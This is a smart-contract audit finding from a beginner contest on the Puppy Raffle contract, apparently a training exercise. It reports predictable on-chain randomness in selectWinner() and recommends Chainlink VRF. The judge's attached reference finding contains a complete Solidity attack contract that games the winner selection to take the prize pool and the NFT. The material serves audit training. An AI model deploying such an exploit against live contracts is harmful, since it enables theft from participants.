Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable Randomness

raihanmd

Predictable Randomness in selectWinner() Allows Manipulation of Raffle Outcome

Description

  • The protocol selects the raffle winner using a pseudo-random value derived from on-chain variables such as msg.sender, block.timestamp, and block.difficulty.

    Normally, a raffle system should use a secure source of randomness so that no participant or caller can influence the result. However, in this implementation, the randomness source relies entirely on publicly available and partially controllable blockchain variables.

    Because msg.sender is controlled by the caller and block.timestamp can be slightly influenced by block producers, an attacker can attempt to manipulate or predict the outcome by choosing the timing and caller of the selectWinner() transaction.

// Root cause in the codebase
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @> randomness can be predictable

Risk

Likelihood: Medium

  • Attackers can control msg.sender by calling the function themselves.

  • Block producers have limited ability to influence block.timestamp, allowing slight manipulation of randomness inputs.

Impact: Medium

  • The fairness of the raffle can be compromised.

  • Attackers may increase their probability of winning by timing or simulating transactions before submission.

Proof of Concept

An attacker can simulate potential outcomes off-chain before submitting the transaction:

function simulateWinner(
address caller,
uint256 timestamp,
uint256 difficulty,
uint256 playersLength
) public pure returns (uint256) {
return uint256(
keccak256(abi.encodePacked(caller, timestamp, difficulty))
) % playersLength;
}

Recommended Mitigation

Use a verifiable randomness source instead of predictable on-chain values.

A common mitigation is integrating Chainlink VRF or another secure randomness oracle.

Where randomNumber is obtained from a secure randomness provider such as Chainlink VRF.

This ensures that the raffle winner cannot be predicted or manipulated by participants or validators.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ uint256 winnerIndex = randomNumber % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!